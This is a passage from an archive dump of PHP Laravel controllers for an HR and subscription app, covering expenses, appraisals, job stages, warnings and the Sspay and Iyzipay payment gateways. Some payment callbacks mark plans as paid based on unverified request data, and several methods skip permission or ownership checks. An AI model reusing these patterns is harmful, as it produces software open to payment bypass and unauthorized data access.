compact('competencies')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { $user = \Auth::user(); $performance_types = Performance_Type::where('created_by', '=', $user->creatorId())->get()->pluck('name', 'id'); $performance_types->prepend('Select Performance type', ''); return view('competencies.create', compact('performance_types')); } public function store(Request $request) { if (\Auth::user()->can('Create Competencies')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'type' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $competencies = new Competencies(); $competencies->name = $request->name; $competencies->type = $request->type; $competencies->created_by = \Auth::user()->creatorId(); $competencies->save(); return redirect()->route('competencies.index')->with('success', __('Competencies successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Competencies $competencies) { // } public function edit($id) { $competencies = Competencies::find($id); $types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $types->prepend('Select Performance type', ''); return view('competencies.edit', compact('types', 'competencies')); } public function update(Request $request, $id) { if (\Auth::user()->can('Edit Competencies')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'type' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $competencies = Competencies::find($id); $competencies->name = $request->name; $competencies->type = $request->type; $competencies->save(); return redirect()->route('competencies.index')->with('success', __('Competencies successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy($id) { if (\Auth::user()->can('Delete Competencies')) { $competencies = Competencies::find($id); $competencies->delete(); return redirect()->route('competencies.index')->with('success', __('Competencies successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/ExpenseController.php000064400000016623150364306410014167 0ustar00can('Manage Expense')) { $expenses = Expense::where('created_by', '=', \Auth::user()->creatorId())->with(['accounts', 'payees', 'expense_categorys', 'payment_types'])->get(); return view('expense.index', compact('expenses')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Expense')) { $expenses = Expense::where('created_by', '=', \Auth::user()->creatorId())->get(); $accounts = AccountList::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $expenseCategory = ExpenseType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $payees = Payees::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('payee_name', 'id'); $paymentTypes = PaymentType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('expense.create', compact('expenses', 'accounts', 'expenseCategory', 'payees', 'paymentTypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Expense')) { $validator = \Validator::make( $request->all(), [ 'account_id' => 'required', 'amount' => 'required', 'date' => 'required', 'expense_category_id' => 'required', 'payee_id' => 'required', 'payment_type_id'=>'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $expense = new Expense(); $expense->account_id = $request->account_id; $expense->amount = $request->amount; $expense->date = $request->date; $expense->expense_category_id = $request->expense_category_id; $expense->payee_id = $request->payee_id; $expense->payment_type_id = $request->payment_type_id; $expense->referal_id = $request->referal_id; $expense->description = $request->description; $expense->created_by = \Auth::user()->creatorId(); $expense->save(); AccountList::remove_Balance($request->account_id, $request->amount); return redirect()->route('expense.index')->with('success', __('Expense successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Expense $expense) { return redirect()->route('expense.index'); } public function edit(Expense $expense) { if(\Auth::user()->can('Edit Expense')) { if($expense->created_by == \Auth::user()->creatorId()) { $expenses = Expense::where('created_by', '=', \Auth::user()->creatorId())->get(); $accounts = AccountList::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $expenseCategory = ExpenseType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $payees = Payees::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('payee_name', 'id'); $paymentTypes = PaymentType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('expense.edit', compact('expense', 'accounts', 'expenseCategory', 'payees', 'paymentTypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Expense $expense) { if(\Auth::user()->can('Edit Expense')) { if($expense->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'account_id' => 'required', 'amount' => 'required', 'date' => 'required', 'expense_category_id' => 'required', 'payee_id' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $expense->account_id = $request->account_id; $expense->amount = $request->amount; $expense->date = $request->date; $expense->expense_category_id = $request->expense_category_id; $expense->payee_id = $request->payee_id; $expense->payment_type_id = $request->payment_type_id; $expense->referal_id = $request->referal_id; $expense->description = $request->description; $expense->save(); return redirect()->route('expense.index')->with('success', __('Expense successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Expense $expense) { if(\Auth::user()->can('Delete Expense')) { if($expense->created_by == \Auth::user()->creatorId()) { $expense->delete(); return redirect()->route('expense.index')->with('success', __('Expense successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export(Request $request) { $name = 'Expense_' . date('Y-m-d i:h:s'); $data = Excel::download(new ExpenseExport(), $name . '.xlsx'); return $data; } } Http/Controllers/AppraisalController.php000064400000021231150364306410014463 0ustar00can('Manage Appraisal')) { $user = \Auth::user(); if($user->type == 'employee') { $employee = Employee::where('user_id', $user->id)->first(); $competencyCount = Competencies::where('created_by', '=', $user->creatorId())->count(); $appraisals = Appraisal::where('created_by', '=', \Auth::user()->creatorId())->where('branch', $employee->branch_id)->where('employee', $employee->id)->get(); } else { $competencyCount = Competencies::where('created_by', '=', $user->creatorId())->count(); $appraisals = Appraisal::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('appraisal.index', compact('appraisals','competencyCount')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Appraisal')) { $brances = Branch::where('created_by', '=', \Auth::user()->creatorId())->get(); $employee = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name','id'); $employee->prepend('Select Employee', ''); $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('appraisal.create', compact('employee', 'brances', 'performance_types')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if(\Auth::user()->can('Create Appraisal')) { $validator = \Validator::make( $request->all(), [ 'brances' => 'required', 'employee' => 'required', 'rating'=> 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $appraisal = new Appraisal(); $appraisal->branch = $request->brances; $appraisal->employee = $request->employee; $appraisal->appraisal_date = $request->appraisal_date; $appraisal->rating = json_encode($request->rating, true); $appraisal->remark = $request->remark; $appraisal->created_by = \Auth::user()->creatorId(); $appraisal->save(); return redirect()->route('appraisal.index')->with('success', __('Appraisal successfully created.')); } } public function show(Appraisal $appraisal) { $rating = json_decode($appraisal->rating, true); $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); $employee = Employee::find($appraisal->employee); $indicator = Indicator::where('branch',$employee->branch_id)->where('department',$employee->department_id)->where('designation',$employee->designation_id)->first(); if ($indicator != null) { $ratings = json_decode($indicator->rating, true); }else { $ratings = null; } // $ratings = json_decode($indicator->rating, true); return view('appraisal.show', compact('appraisal', 'performance_types', 'rating','ratings')); } public function edit(Appraisal $appraisal) { if(\Auth::user()->can('Edit Appraisal')) { $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); $employee = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name','id'); $employee->prepend('Select Employee', ''); $brances = Branch::where('created_by', '=', \Auth::user()->creatorId())->get(); $rating = json_decode($appraisal->rating,true); return view('appraisal.edit', compact('brances', 'employee', 'appraisal', 'performance_types','rating')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, Appraisal $appraisal) { if(\Auth::user()->can('Edit Appraisal')) { $validator = \Validator::make( $request->all(), [ 'brances' => 'required', 'employees' => 'required', 'rating'=> 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $appraisal->branch = $request->brances; $appraisal->employee = $request->employees; $appraisal->appraisal_date = $request->appraisal_date; $appraisal->rating = json_encode($request->rating, true); $appraisal->remark = $request->remark; $appraisal->save(); return redirect()->route('appraisal.index')->with('success', __('Appraisal successfully updated.')); } } public function destroy(Appraisal $appraisal) { if(\Auth::user()->can('Delete Appraisal')) { if($appraisal->created_by == \Auth::user()->creatorId()) { $appraisal->delete(); return redirect()->route('appraisal.index')->with('success', __('Appraisal successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function empByStar(Request $request) { $employee = Employee::find($request->employee); // $indicator = Indicator::where('branch',$employee->branch_id)->where('department',$employee->department_id)->first(); $indicator = Indicator::where('branch',$employee->branch_id)->where('department',$employee->department_id)->where('designation',$employee->designation_id)->first(); if ($indicator != null) { $ratings = json_decode($indicator->rating, true); }else { $ratings = null; } // $ratings = json_decode($indicator->rating, true); $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); $viewRender = view('appraisal.star', compact('ratings','performance_types'))->render(); return response()->json(array('success' => true, 'html'=>$viewRender)); } public function empByStar1(Request $request) { $employee = Employee::find($request->employee); $appraisal = Appraisal::find($request->appraisal); $indicator = Indicator::where('branch',$employee->branch_id)->where('department',$employee->department_id)->where('designation',$employee->designation_id)->first(); if ($indicator != null) { $ratings = json_decode($indicator->rating, true); }else { $ratings = null; } // $ratings = json_decode($indicator->rating, true); $rating = json_decode($appraisal->rating,true); $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); $viewRender = view('appraisal.staredit', compact('ratings','rating','performance_types'))->render(); return response()->json(array('success' => true, 'html'=>$viewRender)); } public function getemployee(Request $request) { $data['employee'] = Employee::where('branch_id',$request->branch_id)->get(); // $employees = Employee::where('branch_id', $request->branch)->get()->pluck('name', 'id')->toArray(); return response()->json($data); } } Http/Controllers/SspayController.php000064400000027014150364306410013653 0ustar00secretKey = isset($payment_setting['sspay_secret_key']) ? $payment_setting['sspay_secret_key'] : ''; $this->categoryCode = isset($payment_setting['sspay_category_code']) ? $payment_setting['sspay_category_code'] : ''; $this->is_enabled = isset($payment_setting['is_sspay_enabled']) ? $payment_setting['is_sspay_enabled'] : 'off'; return $this; } public function SspayPaymentPrepare(Request $request) { try { $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $payment_setting = Utility::getAdminPaymentSetting(); $plan = Plan::find($planID); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if($get_amount <= 0){ $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = auth()->user(); $statuses = 'success'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $get_amount; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('Sspay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } $coupon = (empty($request->coupon)) ? "0" : $request->coupon; $this->callBackUrl = route('plan.sspay.callback', [$plan->id, $get_amount, $coupon]); $this->returnUrl = route('plan.sspay.callback', [$plan->id, $get_amount, $coupon]); $Date = date('d-m-Y'); $ammount = $get_amount; $billName = $plan->name; $description = $plan->name; $billExpiryDays = 3; $billExpiryDate = date('d-m-Y', strtotime($Date . ' + 3 days')); $billContentEmail = "Thank you for purchasing our product!"; $some_data = array( 'userSecretKey' => $this->secretKey, 'categoryCode' => $this->categoryCode, 'billName' => $billName, 'billDescription' => $description, 'billPriceSetting' => 1, 'billPayorInfo' => 1, 'billAmount' => 100 * $ammount, 'billReturnUrl' => $this->returnUrl, 'billCallbackUrl' => $this->callBackUrl, 'billExternalReferenceNo' => 'AFR341DFI', 'billTo' => \Auth::user()->name, 'billEmail' => \Auth::user()->email, 'billPhone' => '000000000', 'billSplitPayment' => 0, 'billSplitPaymentArgs' => '', 'billPaymentChannel' => '0', 'billContentEmail' => $billContentEmail, 'billChargeToCustomer' => 1, 'billExpiryDate' => $billExpiryDate, 'billExpiryDays' => $billExpiryDays ); $curl = curl_init(); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_URL, 'https://sspay.my/index.php/api/createBill'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $some_data); $result = curl_exec($curl); $info = curl_getinfo($curl); curl_close($curl); $obj = json_decode($result); return redirect('https://sspay.my/' . $obj[0]->BillCode); } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } public function SspayPlanGetPayment(Request $request, $planId, $getAmount, $couponCode) { $payment_setting = Utility::getAdminPaymentSetting(); if ($couponCode != 0) { $coupons = Coupon::where('code', strtoupper($couponCode))->where('is_active', '1')->first(); $request['coupon_id'] = $coupons->id; } else { $coupons = null; } $plan = Plan::find($planId); $user = auth()->user(); // $request['status_id'] = 1; // 1=success, 2=pending, 3=fail try { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); if ($request->status_id == 3) { $statuses = 'Fail'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('Sspay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); return redirect()->route('plans.index')->with('error', __('Your Transaction is fail please try again')); } else if ($request->status_id == 2) { $statuses = 'pandding'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('Sspay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); return redirect()->route('plans.index')->with('error', __('Your transaction on pending')); } else if ($request->status_id == 1) { Utility::referralTransaction($plan); $statuses = 'success'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('Sspay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } } Http/Controllers/JobStageController.php000064400000006724150364306410014257 0ustar00can('Manage Job Stage')) { $stages = JobStage::where('created_by', '=', \Auth::user()->creatorId())->orderBy('order', 'asc')->get(); return view('jobStage.index', compact('stages')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { return view('jobStage.create'); } public function store(Request $request) { if(\Auth::user()->can('Create Job Stage')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $jobStage = new JobStage(); $jobStage->title = $request->title; $jobStage->created_by = \Auth::user()->creatorId(); $jobStage->save(); return redirect()->back()->with('success', __('Job stage successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(JobStage $jobStage) { // } public function edit(JobStage $jobStage) { return view('jobStage.edit', compact('jobStage')); } public function update(Request $request, JobStage $jobStage) { if(\Auth::user()->can('Edit Job Stage')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $jobStage->title = $request->title; $jobStage->created_by = \Auth::user()->creatorId(); $jobStage->save(); return redirect()->back()->with('success', __('Job stage successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(JobStage $jobStage) { if(\Auth::user()->can('Delete Job Stage')) { if($jobStage->created_by == \Auth::user()->creatorId()) { $jobStage->delete(); return redirect()->back()->with('success', __('Job stage successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function order(Request $request) { $post = $request->all(); foreach($post['order'] as $key => $item) { $stage = JobStage::where('id', '=', $item)->first(); $stage->order = $key; $stage->save(); } } } Http/Controllers/ExpenseTypeController.php000064400000010221150364306410015015 0ustar00can('Manage Expense Type')) { $expensetypes = ExpenseType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('expensetype.index', compact('expensetypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Expense Type')) { return view('expensetype.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Expense Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $expensetype = new ExpenseType(); $expensetype->name = $request->name; $expensetype->created_by = \Auth::user()->creatorId(); $expensetype->save(); return redirect()->route('expensetype.index')->with('success', __('ExpenseType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(ExpenseType $expensetype) { return redirect()->route('expensetype.index'); } public function edit(ExpenseType $expensetype) { if(\Auth::user()->can('Edit Expense Type')) { if($expensetype->created_by == \Auth::user()->creatorId()) { return view('expensetype.edit', compact('expensetype')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, ExpenseType $expensetype) { if(\Auth::user()->can('Edit Expense Type')) { if($expensetype->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $expensetype->name = $request->name; $expensetype->save(); return redirect()->route('expensetype.index')->with('success', __('ExpenseType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(ExpenseType $expensetype) { if(\Auth::user()->can('Delete Expense Type')) { if($expensetype->created_by == \Auth::user()->creatorId()) { $expensetype->delete(); return redirect()->route('expensetype.index')->with('success', __('ExpenseType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/TerminationTypeController.php000064400000011054150364306410015704 0ustar00can('Manage Termination Type')) { $terminationtypes = TerminationType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('terminationtype.index', compact('terminationtypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Termination Type')) { return view('terminationtype.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Termination Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $terminationtype = new TerminationType(); $terminationtype->name = $request->name; $terminationtype->created_by = \Auth::user()->creatorId(); $terminationtype->save(); return redirect()->route('terminationtype.index')->with('success', __('TerminationType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(TerminationType $terminationtype) { return redirect()->route('terminationtype.index'); } public function edit(TerminationType $terminationtype) { if(\Auth::user()->can('Edit Termination Type')) { if($terminationtype->created_by == \Auth::user()->creatorId()) { return view('terminationtype.edit', compact('terminationtype')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, TerminationType $terminationtype) { if(\Auth::user()->can('Edit Termination Type')) { if($terminationtype->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); $terminationtype->name = $request->name; $terminationtype->save(); return redirect()->route('terminationtype.index')->with('success', __('TerminationType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(TerminationType $terminationtype) { if(\Auth::user()->can('Delete Termination Type')) { if($terminationtype->created_by == \Auth::user()->creatorId()) { $termination = Termination::where('termination_type',$terminationtype->id)->get(); if(count($termination) == 0) { $terminationtype->delete(); } else { return redirect()->route('terminationtype.index')->with('error', __('This TerminationType has Termination. Please remove the Termination from this TerminationType.')); } return redirect()->route('terminationtype.index')->with('success', __('TerminationType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/IyziPayController.php000064400000021435150364306410014153 0ustar00plan_id); $authuser = \Auth::user(); $adminPaymentSettings = Utility::getAdminPaymentSetting(); $iyzipay_key = $adminPaymentSettings['iyzipay_public_key']; $iyzipay_secret = $adminPaymentSettings['iyzipay_secret_key']; $iyzipay_mode = $adminPaymentSettings['iyzipay_mode']; $currency = $adminPaymentSettings['currency']; $plan = Plan::find($planID); $coupon_id = '0'; $price = $plan->price; $coupon_code = null; $discount_value = null; $coupons = Coupon::where('code', $request->coupon)->where('is_active', '1')->first(); if ($coupons) { $coupon_code = $coupons->code; $usedCoupun = $coupons->used_coupon(); if ($coupons->limit == $usedCoupun) { $res_data['error'] = __('This coupon code has expired.'); } else { $discount_value = ($plan->price / 100) * $coupons->discount; $price = $price - $discount_value; if ($price < 0) { $price = $plan->price; } $coupon_id = $coupons->id; } } if ($price <= 0) { $order_id = strtoupper(str_replace('.', '', uniqid('', true))); $user = \Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $order_id; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } $order = new Order(); $order->order_id = $order_id; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $price; $order->price_currency = $adminPaymentSettings['currency']; $order->payment_type = __('Iyzipay'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } $res_data['total_price'] = $price; $res_data['coupon'] = $coupon_id; // set your Iyzico API credentials try { $setBaseUrl = ($iyzipay_mode == 'sandbox') ? 'https://sandbox-api.iyzipay.com' : 'https://api.iyzipay.com'; $options = new \Iyzipay\Options(); $options->setApiKey($iyzipay_key); $options->setSecretKey($iyzipay_secret); $options->setBaseUrl($setBaseUrl); // or "https://api.iyzipay.com" for production $ipAddress = Http::get('https://ipinfo.io/?callback=')->json(); $address = ($authuser->address) ? $authuser->address : 'Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1'; // create a new payment request $request = new \Iyzipay\Request\CreateCheckoutFormInitializeRequest(); $request->setLocale('en'); $request->setPrice($res_data['total_price']); $request->setPaidPrice($res_data['total_price']); $request->setCurrency($currency); $request->setCallbackUrl(route('iyzipay.payment.callback',[$plan->id,$price,$coupon_code])); $request->setEnabledInstallments(array(1)); $request->setPaymentGroup(\Iyzipay\Model\PaymentGroup::PRODUCT); $buyer = new \Iyzipay\Model\Buyer(); $buyer->setId($authuser->id); $buyer->setName(explode(' ', $authuser->name)[0]); $buyer->setSurname(explode(' ', $authuser->name)[0]); $buyer->setGsmNumber("+" . $authuser->dial_code . $authuser->phone); $buyer->setEmail($authuser->email); $buyer->setIdentityNumber(rand(0, 999999)); $buyer->setLastLoginDate("2023-03-05 12:43:35"); $buyer->setRegistrationDate("2023-04-21 15:12:09"); $buyer->setRegistrationAddress($address); $buyer->setIp($ipAddress['ip']); $buyer->setCity($ipAddress['city']); $buyer->setCountry($ipAddress['country']); $buyer->setZipCode($ipAddress['postal']); $request->setBuyer($buyer); $shippingAddress = new \Iyzipay\Model\Address(); $shippingAddress->setContactName($authuser->name); $shippingAddress->setCity($ipAddress['city']); $shippingAddress->setCountry($ipAddress['country']); $shippingAddress->setAddress($address); $shippingAddress->setZipCode($ipAddress['postal']); $request->setShippingAddress($shippingAddress); $billingAddress = new \Iyzipay\Model\Address(); $billingAddress->setContactName($authuser->name); $billingAddress->setCity($ipAddress['city']); $billingAddress->setCountry($ipAddress['country']); $billingAddress->setAddress($address); $billingAddress->setZipCode($ipAddress['postal']); $request->setBillingAddress($billingAddress); $basketItems = array(); $firstBasketItem = new \Iyzipay\Model\BasketItem(); $firstBasketItem->setId("BI101"); $firstBasketItem->setName("Binocular"); $firstBasketItem->setCategory1("Collectibles"); $firstBasketItem->setCategory2("Accessories"); $firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::PHYSICAL); $firstBasketItem->setPrice($res_data['total_price']); $basketItems[0] = $firstBasketItem; $request->setBasketItems($basketItems); $checkoutFormInitialize = \Iyzipay\Model\CheckoutFormInitialize::create($request, $options); return redirect()->to($checkoutFormInitialize->getpaymentPageUrl()); } catch (\Exception $e) { return redirect()->route('plans.index')->with('errors', $e->getMessage()); } } public function iyzipayCallback(Request $request,$planID,$price,$coupanCode = null) { $plan = Plan::find($planID); $adminPaymentSettings = Utility::getAdminPaymentSetting(); $user = \Auth::user(); Utility::referralTransaction($plan); $order = new Order(); $order->order_id = time(); $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $price; $order->price_currency = $adminPaymentSettings['currency']; $order->txn_id = time(); $order->payment_type = __('Iyzipay'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $user = User::find($user->id); $coupons = Coupon::where('code', $coupanCode)->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $order->order_id; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } $assignPlan = $user->assignPlan($plan->id); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } } Http/Controllers/WarningController.php000064400000020710150364306410014155 0ustar00can('Manage Warning')) { if(Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $warnings = Warning::where('warning_by', '=', $emp->id)->get(); } else { $warnings = Warning::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('warning.index', compact('warnings')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Warning')) { if(Auth::user()->type == 'employee') { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('user_id', '!=', $user->id)->get()->pluck('name', 'id'); } else { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } return view('warning.create', compact('employees', 'current_employee')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { 